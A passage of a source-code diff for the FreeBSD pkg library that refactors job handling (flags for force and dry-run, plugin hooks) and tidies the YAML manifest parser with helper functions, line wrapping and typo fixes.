				if (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC|PKG_LOAD_FILES|PKG_LOAD_SCRIPTS|PKG_LOAD_DIRS) == EPKG_OK) {
+
				if (pkgdb_it_next(it, &pkg, lflags) == EPKG_OK) {
					STAILQ_INSERT_TAIL(&pkg_queue, pkg, next);
-
					pkg_script_run(pkg, PKG_SCRIPT_PRE_DEINSTALL);
+
					pkg_script_run(pkg,
+
					    PKG_SCRIPT_PRE_DEINSTALL);
					pkg_get(pkg, PKG_ORIGIN, &origin);
					/*
-
					 * stop the different related services if the users do want that
-
					 * and that the service is running
+
					 * stop the different related services
+
					 * if the user wants that and the
+
					 * service is running
					 */
-
					pkg_config_bool(PKG_CONFIG_HANDLE_RC_SCRIPTS, &handle_rc);
					if (handle_rc)
-
						pkg_start_stop_rc_scripts(pkg, PKG_RC_STOP);
+
						pkg_start_stop_rc_scripts(pkg,
+
						    PKG_RC_STOP);
					pkgdb_unregister_pkg(j->db, origin);
					pkg = NULL;
				}
@@ -213,17 +224,17 @@ pkg_jobs_install(struct pkg_jobs *j, bool force)

		if (it != NULL) {
			pkg = NULL;
-
			while (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC|PKG_LOAD_FILES|PKG_LOAD_SCRIPTS|PKG_LOAD_DIRS) == EPKG_OK) {
+
			while (pkgdb_it_next(it, &pkg, lflags) == EPKG_OK) {
				STAILQ_INSERT_TAIL(&pkg_queue, pkg, next);
				pkg_script_run(pkg, PKG_SCRIPT_PRE_DEINSTALL);
				pkg_get(pkg, PKG_ORIGIN, &origin);
				/*
-
				 * stop the different related services if the users do want that
-
				 * and that the service is running
+
				 * stop the different related services if the
+
				 * user wants that and the service is running
				 */
-
				pkg_config_bool(PKG_CONFIG_HANDLE_RC_SCRIPTS, &handle_rc);
				if (handle_rc)
-
					pkg_start_stop_rc_scripts(pkg, PKG_RC_STOP);
+
					pkg_start_stop_rc_scripts(pkg,
+
					    PKG_RC_STOP);
				pkgdb_unregister_pkg(j->db, origin);
				pkg = NULL;
			}
@@ -231,7 +242,7 @@ pkg_jobs_install(struct pkg_jobs *j, bool force)
		}
		snprintf(path, sizeof(path), "%s/%s", cachedir, pkgrepopath);

-
		pkg_open(&newpkg, path, NULL);
+
		pkg_open(&newpkg, path);
		if (newversion != NULL) {
			pkg_emit_upgrade_begin(p);
		} else {
@@ -252,7 +263,7 @@ pkg_jobs_install(struct pkg_jobs *j, bool force)
			}
		}

-
		if (force)
+
		if ((j->flags & PKG_JOB_FLAGS_FORCE) != 0)
			flags |= PKG_ADD_FORCE;
		flags |= PKG_ADD_UPGRADE;
		if (automatic)
@@ -284,16 +295,21 @@ pkg_jobs_install(struct pkg_jobs *j, bool force)
}

static int
-
pkg_jobs_deinstall(struct pkg_jobs *j, int force)
+
pkg_jobs_deinstall(struct pkg_jobs *j)
{
	struct pkg *p = NULL;
	int retcode;
+
	int flags = 0;
+

+
	if ((j->flags & PKG_JOB_FLAGS_DRY_RUN) != 0)
+
		return (EPKG_OK); /* Do nothing */
+

+
	if ((j->flags & PKG_JOB_FLAGS_FORCE) != 0)
+
		flags = PKG_DELETE_FORCE;

	while (pkg_jobs(j, &p) == EPKG_OK) {
-
		if (force)
-
			retcode = pkg_delete(p, j->db, PKG_DELETE_FORCE);
-
		else
-
			retcode = pkg_delete(p, j->db, 0);
+
		retcode = pkg_delete(p, j->db, flags);
+

		if (retcode != EPKG_OK)
			return (retcode);
	}
@@ -302,23 +318,29 @@ pkg_jobs_deinstall(struct pkg_jobs *j, int force)
}

int
-
pkg_jobs_apply(struct pkg_jobs *j, int force)
+
pkg_jobs_apply(struct pkg_jobs *j)
{
	int rc;

	switch (j->type) {
-
		case PKG_JOBS_INSTALL:
-
			rc = pkg_jobs_install(j, force);
-
			break;
-
		case PKG_JOBS_DEINSTALL:
-
			rc = pkg_jobs_deinstall(j, force);
-
			break;
-
		case PKG_JOBS_FETCH:
-
			rc = pkg_jobs_fetch(j);
-
			break;
-
		default:
-
			rc = EPKG_FATAL;
-
			pkg_emit_error("bad jobs argument");
+
	case PKG_JOBS_INSTALL:
+
		pkg_plugins_hook_run(PKG_PLUGINS_HOOK_PRE_INSTALL, j, j->db);
+
		rc = pkg_jobs_install(j);
+
		pkg_plugins_hook_run(PKG_PLUGINS_HOOK_POST_INSTALL, j, j->db);
+
		break;
+
	case PKG_JOBS_DEINSTALL:
+
		pkg_plugins_hook_run(PKG_PLUGINS_HOOK_PRE_DEINSTALL, j, j->db);
+
		rc = pkg_jobs_deinstall(j);
+
		pkg_plugins_hook_run(PKG_PLUGINS_HOOK_POST_DEINSTALL, j, j->db);
+
		break;
+
	case PKG_JOBS_FETCH:
+
		pkg_plugins_hook_run(PKG_PLUGINS_HOOK_PRE_FETCH, j, j->db);
+
		rc = pkg_jobs_fetch(j);
+
		pkg_plugins_hook_run(PKG_PLUGINS_HOOK_POST_FETCH, j, j->db);
+
		break;
+
	default:
+
		rc = EPKG_FATAL;
+
		pkg_emit_error("bad jobs argument");
	}

	return (rc);
@@ -329,7 +351,6 @@ pkg_jobs_fetch(struct pkg_jobs *j)
{
	struct pkg *p = NULL;
	struct pkg *pkg = NULL;
-
	struct sbuf *buf = NULL;
	struct statfs fs;
	struct stat st;
	char path[MAXPATHLEN + 1];
@@ -337,8 +358,6 @@ pkg_jobs_fetch(struct pkg_jobs *j)
	const char *cachedir = NULL;
	const char *repopath = NULL;
	char cachedpath[MAXPATHLEN];
-
	char dlsz[7];
-
	char fsz[7];
	int ret = EPKG_OK;
	
	if (pkg_config_string(PKG_CONFIG_CACHEDIR, &cachedir) != EPKG_OK)
@@ -366,12 +385,19 @@ pkg_jobs_fetch(struct pkg_jobs *j)
	}

	if (dlsize > ((int64_t)fs.f_bsize * (int64_t)fs.f_bfree)) {
+
		int64_t fsize = (int64_t)fs.f_bsize * (int64_t)fs.f_bfree;
+
		char dlsz[7], fsz[7];
+

		humanize_number(dlsz, sizeof(dlsz), dlsize, "B", HN_AUTOSCALE, 0);
-
		humanize_number(fsz, sizeof(fsz), (int64_t)fs.f_bsize * (int64_t)fs.f_bfree, "B", HN_AUTOSCALE, 0);
-
		pkg_emit_error("Not enough space in %s, needed %s available %s", cachedir, dlsz, fsz);
+
		humanize_number(fsz, sizeof(fsz), fsize, "B", HN_AUTOSCALE, 0);
+
		pkg_emit_error("Not enough space in %s, needed %s available %s",
+
		    cachedir, dlsz, fsz);
		return (EPKG_FATAL);
	}
-
		
+

+
	if ((j->flags & PKG_JOB_FLAGS_DRY_RUN) != 0)
+
		return (EPKG_OK); /* don't download anything */
+

	/* Fetch */
	p = NULL;
	while (pkg_jobs(j, &p) == EPKG_OK) {
@@ -383,15 +409,13 @@ pkg_jobs_fetch(struct pkg_jobs *j)
	/* integrity checking */
	pkg_emit_integritycheck_begin();

-
	buf = sbuf_new_auto();
	while (pkg_jobs(j, &p) == EPKG_OK) {
		const char *pkgrepopath;

		pkg_get(p, PKG_REPOPATH, &pkgrepopath);
		snprintf(path, sizeof(path), "%s/%s", cachedir,
		    pkgrepopath);
-
		if (pkg_open(&pkg, path, buf) != EPKG_OK) {
-
			sbuf_delete(buf);
+
		if (pkg_open(&pkg, path) != EPKG_OK) {
			return (EPKG_FATAL);
		}

@@ -400,7 +424,6 @@ pkg_jobs_fetch(struct pkg_jobs *j)
	}

	pkg_free(pkg);
-
	sbuf_delete(buf);

	if (pkgdb_integrity_check(j->db) != EPKG_OK || ret != EPKG_OK)
		return (EPKG_FATAL);
modified libpkg/pkg_manifest.c
@@ -90,15 +90,23 @@ static struct manifest_key {
	{ "infos", PKG_INFOS, YAML_SCALAR_NODE, pkg_set_from_node},
	{ "categories", PKG_CATEGORIES, YAML_SEQUENCE_NODE, parse_sequence},
	{ "options", PKG_OPTIONS, YAML_MAPPING_NODE, parse_mapping},
-
	{ "users", PKG_USERS, YAML_SEQUENCE_NODE, parse_sequence}, /* compatibility with old format */
+
	/* compatibility with old format */
+
	{ "users", PKG_USERS, YAML_SEQUENCE_NODE, parse_sequence},
	{ "users", PKG_USERS, YAML_MAPPING_NODE, parse_mapping},
	{ "groups", PKG_GROUPS, YAML_SEQUENCE_NODE, parse_sequence},
-
	{ "groups", PKG_GROUPS, YAML_MAPPING_NODE, parse_mapping}, /* compatibility with old format */
+
	/* compatibility with old format */
+
	{ "groups", PKG_GROUPS, YAML_MAPPING_NODE, parse_mapping},
	{ "shlibs", PKG_SHLIBS, YAML_SEQUENCE_NODE, parse_sequence},
	{ NULL, -99, -99, NULL}
};

static int
+
is_valid_yaml_scalar(yaml_node_t *val)
+
{
+
	return (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0);
+
}
+

+
static int
urlencode(const char *src, struct sbuf **dest)
{
	size_t len;
@@ -144,7 +152,7 @@ urldecode(const char *src, struct sbuf **dest)
			errno = 0;
			c = strtol(hex, NULL, 16);
			if (errno != 0) {
-
				/* 
+
				/*
				 * if it fails consider this is not a urlencoded
				 * information
				 */
@@ -176,12 +184,13 @@ pkg_load_manifest_file(struct pkg *pkg, const char *fpath)
}

static int
-
pkg_set_from_node(struct pkg *pkg, yaml_node_t *val, __unused yaml_document_t *doc, int attr)
+
pkg_set_from_node(struct pkg *pkg, yaml_node_t *val,
+
    __unused yaml_document_t *doc, int attr)
{
	int ret = EPKG_OK;

	while (val->data.scalar.length > 0 &&
-
			val->data.scalar.value[val->data.scalar.length - 1] == '\n') {
+
	    val->data.scalar.value[val->data.scalar.length - 1] == '\n') {
		val->data.scalar.value[val->data.scalar.length - 1] = '\0';
		val->data.scalar.length--;
	}
@@ -192,7 +201,8 @@ pkg_set_from_node(struct pkg *pkg, yaml_node_t *val, __unused yaml_document_t *d
}

static int
-
pkg_set_flatsize_from_node(struct pkg *pkg, yaml_node_t *val, __unused yaml_document_t *doc, __unused int attr)
+
pkg_set_flatsize_from_node(struct pkg *pkg, yaml_node_t *val,
+
    __unused yaml_document_t *doc, __unused int attr)
{
	int64_t flatsize;
	const char *errstr = NULL;
@@ -206,23 +216,28 @@ pkg_set_flatsize_from_node(struct pkg *pkg, yaml_node_t *val, __unused yaml_docu
	return (pkg_set(pkg, PKG_FLATSIZE, flatsize));
}
static int
-
pkg_set_licenselogic_from_node(struct pkg *pkg, yaml_node_t *val, __unused yaml_document_t *doc, __unused int attr)
+
pkg_set_licenselogic_from_node(struct pkg *pkg, yaml_node_t *val,
+
    __unused yaml_document_t *doc, __unused int attr)
{
	if (!strcmp(val->data.scalar.value, "single"))
		pkg_set(pkg, PKG_LICENSE_LOGIC, (int64_t) LICENSE_SINGLE);
-
	else if ( !strcmp(val->data.scalar.value, "and") || !strcmp(val->data.scalar.value, "dual"))
+
	else if (!strcmp(val->data.scalar.value, "and") ||
+
	    !strcmp(val->data.scalar.value, "dual"))
		pkg_set(pkg, PKG_LICENSE_LOGIC, (int64_t)LICENSE_AND);
-
	else if ( !strcmp(val->data.scalar.value, "or") || !strcmp(val->data.scalar.value, "multi"))
+
	else if (!strcmp(val->data.scalar.value, "or") ||
+
	    !strcmp(val->data.scalar.value, "multi"))
		pkg_set(pkg, PKG_LICENSE_LOGIC, (int64_t)LICENSE_OR);
	else {
-
		pkg_emit_error("Unknown license logic: %s", val->data.scalar.value);
+
		pkg_emit_error("Unknown license logic: %s",
+
		    val->data.scalar.value);
		return (EPKG_FATAL);
	}
	return (EPKG_OK);
}

static int
-
parse_sequence(struct pkg * pkg, yaml_node_t *node, yaml_document_t *doc, int attr)
+
parse_sequence(struct pkg * pkg, yaml_node_t *node, yaml_document_t *doc,
+
    int attr)
{
	yaml_node_item_t *item;
	yaml_node_t *val;
@@ -231,47 +246,47 @@ parse_sequence(struct pkg * pkg, yaml_node_t *node, yaml_document_t *doc, int at
	while (item < node->data.sequence.items.top) {
		val = yaml_document_get_node(doc, *item);
		switch (attr) {
-
			case PKG_CATEGORIES:
-
				if (val->type != YAML_SCALAR_NODE || val->data.scalar.length <= 0)
-
					pkg_emit_error("Skipping malformed category");
-
				else
-
					pkg_addcategory(pkg, val->data.scalar.value);
-
				break;
-
			case PKG_LICENSES:
-
				if (val->type != YAML_SCALAR_NODE || val->data.scalar.length <= 0)
-
					pkg_emit_error("Skipping malformed license");
-
				else
-
					pkg_addlicense(pkg, val->data.scalar.value);
-
				break;
-
			case PKG_USERS:
-
				if (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0)
-
					pkg_adduser(pkg, val->data.scalar.value);
-
				else if (val->type == YAML_MAPPING_NODE)
-
					parse_mapping(pkg, val, doc, attr);
-
				else
-
					pkg_emit_error("Skipping malformed license");
-
				break;
-
			case PKG_GROUPS:
-
				if (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0)
-
					pkg_addgroup(pkg, val->data.scalar.value);
-
				else if (val->type == YAML_MAPPING_NODE)
-
					parse_mapping(pkg, val, doc, attr);
-
				else
-
					pkg_emit_error("Skipping malformed license");
-
				break;
-
			case PKG_DIRS:
-
				if (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0)
-
					pkg_adddir(pkg, val->data.scalar.value, 1);
-
				else if (val->type == YAML_MAPPING_NODE)
-
					parse_mapping(pkg, val, doc, attr);
-
				else
-
					pkg_emit_error("Skipping malformed dirs");
-
				break;
-
			case PKG_SHLIBS:
-
				if (val->type != YAML_SCALAR_NODE || val->data.scalar.length <= 0)
-
					pkg_emit_error("Skipping malformed shared library");
-
				else 
-
					pkg_addshlib(pkg, val->data.scalar.value);
+
		case PKG_CATEGORIES:
+
			if (!is_valid_yaml_scalar(val))
+
				pkg_emit_error("Skipping malformed category");
+
			else
+
				pkg_addcategory(pkg, val->data.scalar.value);
+
			break;
+
		case PKG_LICENSES:
+
			if (!is_valid_yaml_scalar(val))
+
				pkg_emit_error("Skipping malformed license");
+
			else
+
				pkg_addlicense(pkg, val->data.scalar.value);
+
			break;
+
		case PKG_USERS:
+
			if (is_valid_yaml_scalar(val))
+
				pkg_adduser(pkg, val->data.scalar.value);
+
			else if (val->type == YAML_MAPPING_NODE)
+
				parse_mapping(pkg, val, doc, attr);
+
			else
+
				pkg_emit_error("Skipping malformed license");
+
			break;
+
		case PKG_GROUPS:
+
			if (is_valid_yaml_scalar(val))
+
				pkg_addgroup(pkg, val->data.scalar.value);
+
			else if (val->type == YAML_MAPPING_NODE)
+
				parse_mapping(pkg, val, doc, attr);
+
			else
+
				pkg_emit_error("Skipping malformed license");
+
			break;
+
		case PKG_DIRS:
+
			if (is_valid_yaml_scalar(val))
+
				pkg_adddir(pkg, val->data.scalar.value, 1, false);
+
			else if (val->type == YAML_MAPPING_NODE)
+
				parse_mapping(pkg, val, doc, attr);
+
			else
+
				pkg_emit_error("Skipping malformed dirs");
+
			break;
+
		case PKG_SHLIBS:
+
			if (!is_valid_yaml_scalar(val))
+
				pkg_emit_error("Skipping malformed shared library");
+
			else
+
				pkg_addshlib(pkg, val->data.scalar.value);
		}
		++item;
	}
@@ -279,13 +294,37 @@ parse_sequence(struct pkg * pkg, yaml_node_t *node, yaml_document_t *doc, int at
}

static int
+
script_type_str(const char *str)
+
{
+
	if (strcmp(str, "pre-install") == 0)
+
		return (PKG_SCRIPT_PRE_INSTALL);
+
	if (strcmp(str, "install") == 0)
+
		return (PKG_SCRIPT_INSTALL);
+
	if (strcmp(str, "post-install") == 0)
+
		return (PKG_SCRIPT_POST_INSTALL);
+
	if (strcmp(str, "pre-upgrade") == 0)
+
		return (PKG_SCRIPT_PRE_UPGRADE);
+
	if (strcmp(str, "upgrade") == 0)
+
		return (PKG_SCRIPT_UPGRADE);
+
	if (strcmp(str, "post-upgrade") == 0)
+
		return (PKG_SCRIPT_POST_UPGRADE);
+
	if (strcmp(str, "pre-deinstall") == 0)
+
		return (PKG_SCRIPT_PRE_DEINSTALL);
+
	if (strcmp(str, "deinstall") == 0)
+
		return (PKG_SCRIPT_DEINSTALL);
+
	if (strcmp(str, "post-deinstall") == 0)
+
		return (PKG_SCRIPT_POST_DEINSTALL);
+
	return (INT_MAX);
+
}
+

+
static int
parse_mapping(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc, int attr)
{
	struct sbuf *tmp = NULL;
	yaml_node_pair_t *pair;
	yaml_node_t *key;
	yaml_node_t *val;
-
	pkg_script_t script_type;
+
	pkg_script script_type;

	pair = item->data.mapping.pairs.start;

@@ -300,96 +339,89 @@ parse_mapping(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc, int attr
		}

		switch (attr) {
-
			case PKG_DEPS:
-
				if (val->type != YAML_MAPPING_NODE)
-
					pkg_emit_error("Skipping malformed depencency %s",
-
								   key->data.scalar.value);
-
				else
-
					pkg_set_deps_from_node(pkg, val, doc, key->data.scalar.value);
-
				break;
-
			case PKG_DIRS:
-
				if (val->type != YAML_MAPPING_NODE)
-
					pkg_emit_error("Skipping malformed dirs %s",
-
								   key->data.scalar.value);
-
				else
-
					pkg_set_dirs_from_node(pkg, val, doc, key->data.scalar.value);
-
				break;
-
			case PKG_USERS:
-
				if (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0)
-
					pkg_adduid(pkg, key->data.scalar.value, val->data.scalar.value);
-
				else
-
					pkg_emit_error("Skipping malformed users %s",
-
							key->data.scalar.value);
-
				break;
-
			case PKG_GROUPS:
-
				if (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0)
-
					pkg_addgid(pkg, key->data.scalar.value, val->data.scalar.value);
-
				else
-
					pkg_emit_error("Skipping malformed groups %s",
-
							key->data.scalar.value);
-
				break;
-
			case PKG_DIRECTORIES:
-
				if (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0) {
-
					urldecode(key->data.scalar.value, &tmp);
-
					if (val->data.scalar.value[0] == 'y')
-
						pkg_adddir(pkg, sbuf_get(tmp), 1);
-
					else
-
						pkg_adddir(pkg, sbuf_get(tmp), 0);
-
				} else if (val->type == YAML_MAPPING_NODE) {
-
					pkg_set_dirs_from_node(pkg, val, doc, key->data.scalar.value);
-
				} else {
-
					pkg_emit_error("Skipping malformed directories %s",
-
								   key->data.scalar.value);
-
				}
-
				break;
-
			case PKG_FILES:
-
				if (val->type == YAML_SCALAR_NODE && val->data.scalar.length > 0) {
-
					urldecode(key->data.scalar.value, &tmp);
-
					pkg_addfile(pkg, sbuf_get(tmp), val->data.scalar.length == 64 ? val->data.scalar.value : NULL, true);
-
				} else if (val->type == YAML_MAPPING_NODE)
-
					pkg_set_files_from_node(pkg, val, doc, key->data.scalar.value);
-
				else
-
					pkg_emit_error("Skipping malformed files %s",
-
								   key->data.scalar.value);
-
				break;
-
			case PKG_OPTIONS:
-
				if (val->type != YAML_SCALAR_NODE)
-
					pkg_emit_error("Skipping malformed option %s",
-
								   key->data.scalar.value);
+
		case PKG_DEPS:
+
			if (val->type != YAML_MAPPING_NODE)
+
				pkg_emit_error("Skipping malformed dependency %s",
+
				    key->data.scalar.value);
+
			else
+
				pkg_set_deps_from_node(pkg, val, doc,
+
				    key->data.scalar.value);
+
			break;
+
		case PKG_DIRS:
+
			if (val->type != YAML_MAPPING_NODE)
+
				pkg_emit_error("Skipping malformed dirs %s",
+
				    key->data.scalar.value);
+
			else
+
				pkg_set_dirs_from_node(pkg, val, doc,
+
				    key->data.scalar.value);
+
			break;
+
		case PKG_USERS:
+
			if (is_valid_yaml_scalar(val))
+
				pkg_adduid(pkg, key->data.scalar.value,
+
				    val->data.scalar.value);
+
			else
+
				pkg_emit_error("Skipping malformed users %s",
+
						key->data.scalar.value);
+
			break;
+
		case PKG_GROUPS:
+
			if (is_valid_yaml_scalar(val))
+
				pkg_addgid(pkg, key->data.scalar.value,
+
				    val->data.scalar.value);
+
			else
+
				pkg_emit_error("Skipping malformed groups %s",
+
						key->data.scalar.value);
+
			break;
+
		case PKG_DIRECTORIES:
+
			if (is_valid_yaml_scalar(val)) {
+
				urldecode(key->data.scalar.value, &tmp);
+
				if (val->data.scalar.value[0] == 'y')
+
					pkg_adddir(pkg, sbuf_get(tmp), 1, false);
				else
-
					pkg_addoption(pkg, key->data.scalar.value, val->data.scalar.value);
-
				break;
-
			case PKG_SCRIPTS:
-
				if (val->type != YAML_SCALAR_NODE)
-
					pkg_emit_error("Skipping malformed scripts %s",
-
								   key->data.scalar.value);
-
				if (strcmp(key->data.scalar.value, "pre-install") == 0) {
-
					script_type = PKG_SCRIPT_PRE_INSTALL;
-
				} else if (strcmp(key->data.scalar.value, "install") == 0) {
-
					script_type = PKG_SCRIPT_INSTALL;
-
				} else if (strcmp(key->data.scalar.value, "post-install") == 0) {
-
					script_type = PKG_SCRIPT_POST_INSTALL;
-
				} else if (strcmp(key->data.scalar.value, "pre-upgrade") == 0) {
-
					script_type = PKG_SCRIPT_PRE_UPGRADE;
-
				} else if (strcmp(key->data.scalar.value, "upgrade") == 0) {
-
					script_type = PKG_SCRIPT_UPGRADE;
-
				} else if (strcmp(key->data.scalar.value, "post-upgrade") == 0) {
-
					script_type = PKG_SCRIPT_POST_UPGRADE;
-
				} else if (strcmp(key->data.scalar.value, "pre-deinstall") == 0) {
-
					script_type = PKG_SCRIPT_PRE_DEINSTALL;
-
				} else if (strcmp(key->data.scalar.value, "deinstall") == 0) {
-
					script_type = PKG_SCRIPT_DEINSTALL;
-
				} else if (strcmp(key->data.scalar.value, "post-deinstall") == 0) {
-
					script_type = PKG_SCRIPT_POST_DEINSTALL;
-
				} else {
-
					pkg_emit_error("Skipping unknown script type: %s",
-
								   key->data.scalar.value);
-
					break;
-
				}
-

-
				urldecode(val->data.scalar.value, &tmp);
-
				pkg_addscript(pkg, sbuf_get(tmp), script_type);
+
					pkg_adddir(pkg, sbuf_get(tmp), 0, false);
+
			} else if (val->type == YAML_MAPPING_NODE) {
+
				pkg_set_dirs_from_node(pkg, val, doc,
+
				    key->data.scalar.value);
+
			} else {
+
				pkg_emit_error("Skipping malformed directories %s",
+
				    key->data.scalar.value);
+
			}
+
			break;
+
		case PKG_FILES:
+
			if (is_valid_yaml_scalar(val)) {
+
				const char *pkg_sum = NULL;
+
				if (val->data.scalar.length == 64)
+
					pkg_sum = val->data.scalar.value;
+
				urldecode(key->data.scalar.value, &tmp);
+
				pkg_addfile(pkg, sbuf_get(tmp), pkg_sum, false);
+
			} else if (val->type == YAML_MAPPING_NODE)
+
				pkg_set_files_from_node(pkg, val, doc,
+
				    key->data.scalar.value);
+
			else
+
				pkg_emit_error("Skipping malformed files %s",
+
				    key->data.scalar.value);
+
			break;
+
		case PKG_OPTIONS:
+
			if (val->type != YAML_SCALAR_NODE)
+
				pkg_emit_error("Skipping malformed option %s",
+
				    key->data.scalar.value);
+
			else
+
				pkg_addoption(pkg, key->data.scalar.value,
+
				    val->data.scalar.value);
+
			break;
+
		case PKG_SCRIPTS:
+
			if (val->type != YAML_SCALAR_NODE)
+
				pkg_emit_error("Skipping malformed scripts %s",
+
				    key->data.scalar.value);
+
			script_type = script_type_str(key->data.scalar.value);
+
			if (script_type == INT_MAX) {
+
				pkg_emit_error("Skipping unknown script "
+
				    "type: %s", key->data.scalar.value);
				break;
+
			}
+

+
			urldecode(val->data.scalar.value, &tmp);
+
			pkg_addscript(pkg, sbuf_get(tmp), script_type);
+
			break;
		}

		++pair;
@@ -400,7 +432,9 @@ parse_mapping(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc, int attr
}

static int
-
pkg_set_files_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc, const char *filename) {
+
pkg_set_files_from_node(struct pkg *pkg, yaml_node_t *item,
+
    yaml_document_t *doc, const char *filename)
+
{
	yaml_node_pair_t *pair = NULL;
	yaml_node_t *key = NULL;
	yaml_node_t *val = NULL;
@@ -415,13 +449,16 @@ pkg_set_files_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc
		key = yaml_document_get_node(doc, pair->key);
		val = yaml_document_get_node(doc, pair->value);
		if (key->data.scalar.length <= 0) {
-
			pkg_emit_error("Skipping malformed file entry for %s", filename);
+
			pkg_emit_error("Skipping malformed file entry for %s",
+
			    filename);
			++pair;
			continue;
		}

-
		if (val->type != YAML_SCALAR_NODE || val->data.scalar.length <= 0) {
-
			pkg_emit_error("Skipping malformed file entry for %s", filename);
+
		if (val->type != YAML_SCALAR_NODE ||
+
		    val->data.scalar.length <= 0) {
+
			pkg_emit_error("Skipping malformed file entry for %s",
+
			    filename);
			++pair;
			continue;
		}
@@ -430,29 +467,34 @@ pkg_set_files_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc
			uname = val->data.scalar.value;
		else if (!strcasecmp(key->data.scalar.value, "gname"))
			gname = val->data.scalar.value;
-
		else if (!strcasecmp(key->data.scalar.value, "sum") && val->data.scalar.length == 64)
+
		else if (!strcasecmp(key->data.scalar.value, "sum") &&
+
		    val->data.scalar.length == 64)
			sum = val->data.scalar.value;
		else if (!strcasecmp(key->data.scalar.value, "perm")) {
			if ((set = setmode(val->data.scalar.value)) == NULL)
-
				pkg_emit_error("Not a valide mode: %s", val->data.scalar.value);
+
				pkg_emit_error("Not a valid mode: %s",
+
				    val->data.scalar.value);
			else
				perm = getmode(set, 0);
		} else {
-
			pkg_emit_error("Skipping unknown key for file(%s): %s", filename,
-
						   key->data.scalar.value);
+
			pkg_emit_error("Skipping unknown key for file(%s): %s",
+
			    filename, key->data.scalar.value);
		}

		++pair;
	}

	if (key != NULL)
-
	    pkg_addfile_attr(pkg, key->data.scalar.value, sum, uname, gname, perm, true);
+
		pkg_addfile_attr(pkg, key->data.scalar.value, sum, uname, gname,
+
		    perm, false);

	return (EPKG_OK);
}

static int
-
pkg_set_dirs_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc, const char *dirname) {
+
pkg_set_dirs_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc,
+
    const char *dirname)
+
{
	yaml_node_pair_t *pair;
	yaml_node_t *key;
	yaml_node_t *val;
@@ -467,13 +509,16 @@ pkg_set_dirs_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc,
		key = yaml_document_get_node(doc, pair->key);
		val = yaml_document_get_node(doc, pair->value);
		if (key->data.scalar.length <= 0) {
-
			pkg_emit_error("Skipping malformed file entry for %s", dirname);
+
			pkg_emit_error("Skipping malformed file entry for %s",
+
			    dirname);
			++pair;
			continue;
		}

-
		if (val->type != YAML_SCALAR_NODE || val->data.scalar.length <= 0) {
-
			pkg_emit_error("Skipping malformed file entry for %s", dirname);
+
		if (val->type != YAML_SCALAR_NODE ||
+
		    val->data.scalar.length <= 0) {
+
			pkg_emit_error("Skipping malformed file entry for %s",
+
			    dirname);
			++pair;
			continue;
		}
@@ -484,7 +529,8 @@ pkg_set_dirs_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc,
			gname = val->data.scalar.value;
		else if (!strcasecmp(key->data.scalar.value, "perm")) {
			if ((set = setmode(val->data.scalar.value)) == NULL)
-
				pkg_emit_error("Not a valide mode: %s", val->data.scalar.value);
+
				pkg_emit_error("Not a valid mode: %s",
+
				    val->data.scalar.value);
			else
				perm = getmode(set, 0);
		} else if (!strcasecmp(key->data.scalar.value, "try")) {
@@ -493,22 +539,26 @@ pkg_set_dirs_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc,
			else if (val->data.scalar.value[0] == 'y')
				try = true;
			else
-
				pkg_emit_error("Wrong value for try: %s, expected 'y' or 'n'", val->data.scalar.value);
+
				pkg_emit_error("Wrong value for try: %s, "
+
				    "expected 'y' or 'n'",
+
				    val->data.scalar.value);
		} else {
-
			pkg_emit_error("Skipping unknown key for dir(%s): %s", dirname,
-
						   key->data.scalar.value);
+
			pkg_emit_error("Skipping unknown key for dir(%s): %s",
+
			    dirname, key->data.scalar.value);
		}

		++pair;
	}

-
	pkg_adddir_attr(pkg, dirname, uname, gname, perm, try);
+
	pkg_adddir_attr(pkg, dirname, uname, gname, perm, try, false);

	return (EPKG_OK);
}

static int
-
pkg_set_deps_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc, const char *depname) {
+
pkg_set_deps_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc,
+
    const char *depname)
+
{
	yaml_node_pair_t *pair;
	yaml_node_t *key;
	yaml_node_t *val;
@@ -519,16 +569,12 @@ pkg_set_deps_from_node(struct pkg *pkg, yaml_node_t *item, yaml_document_t *doc,
	while (pair < item->data.mapping.pairs.top) {
		key = yaml_document_get_node(doc, pair->key);
		val = yaml_document_get_node(doc, pair->value);
-
		if (key->data.scalar.length <= 0) {
-
			pkg_emit_error("Skipping malformed dependency entry for %s",
-
						   depname);
-
			++pair;
-
			continue;
-
		}

-
		if (val->type != YAML_SCALAR_NODE || val->data.scalar.length <= 0) {
-
			pkg_emit_error("Skipping malformed dependency entry for %s",
-
						   depname);
+
		if (key->data.scalar.length <= 0 ||
+
		    val->type != YAML_SCALAR_NODE ||
+
		    val->data.scalar.length <= 0) {
+
			pkg_emit_error("Skipping malformed dependency entry "
+
			    "for %s", depname);
			++pair;
			continue;
		}
@@ -571,23 +617,23 @@ parse_root_node(struct pkg *pkg, yaml_node_t *node, yaml_document_t *doc) {
			continue;
		}

-
		if (val->type == YAML_NO_NODE || ( val->type == YAML_SCALAR_NODE && val->data.scalar.length <= 0)) {
+
		if (val->type == YAML_NO_NODE ||
+
		    (val->type == YAML_SCALAR_NODE &&
+
		     val->data.scalar.length <= 0)) {
			/* silently skip on purpose */
			++pair;
			continue;
		}

		for (i = 0; manifest_key[i].key != NULL; i++) {
-
			if (!strcasecmp(key->data.scalar.value, manifest_key[i].key)) {
-
				if (val->type == manifest_key[i].valid_type) {
-
					retcode = manifest_key[i].parse_data(pkg, val, doc, manifest_key[i].type);
-
					break;
-
				}
+
			const char *m_key = manifest_key[i].key;
+
